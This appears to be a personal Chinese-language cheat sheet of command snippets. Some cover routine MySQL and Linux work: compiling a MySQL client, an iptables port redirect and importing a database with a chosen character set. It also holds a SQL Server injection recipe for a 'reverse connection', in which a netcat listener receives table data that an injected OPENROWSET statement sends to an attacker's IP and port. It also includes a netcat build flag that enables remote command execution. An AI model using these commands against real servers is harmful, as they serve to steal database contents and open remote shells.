gcc -o ./bin/select $(mysql_config --cflags) ./src/select.c $(mysql_config --libs)
iptables -t nat -A PREROUTING -p tcp --dport 8080 -j REDIRECT --to-ports 3306
yum install mysql-devel
SQL SERVER注入反向连接
本地:nc -l -p 1433 -vv
远程
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=netpatch;Network=DBMSSOCN;Address=ip,port;', 'select * from dest_table') select * from src_table;--
编译NC
gcc -O -s -DGAPING_SECURITY_HOLE -DTELNET -DLINUX -static -o /home/nce /home/maple/nc0.71/nc110/netcat.c
Mysql 导入
比如:
导出的数据为gb2312,那么先通过mysql创建数据库;
create database dbname character set 'gb2312' collate 'gb2312_chinese_ci';
最后用命令导入
mysql -u root -p dbname < /home/dbname.sql -f --default-character-set=utf8
根据导出数据的编码类型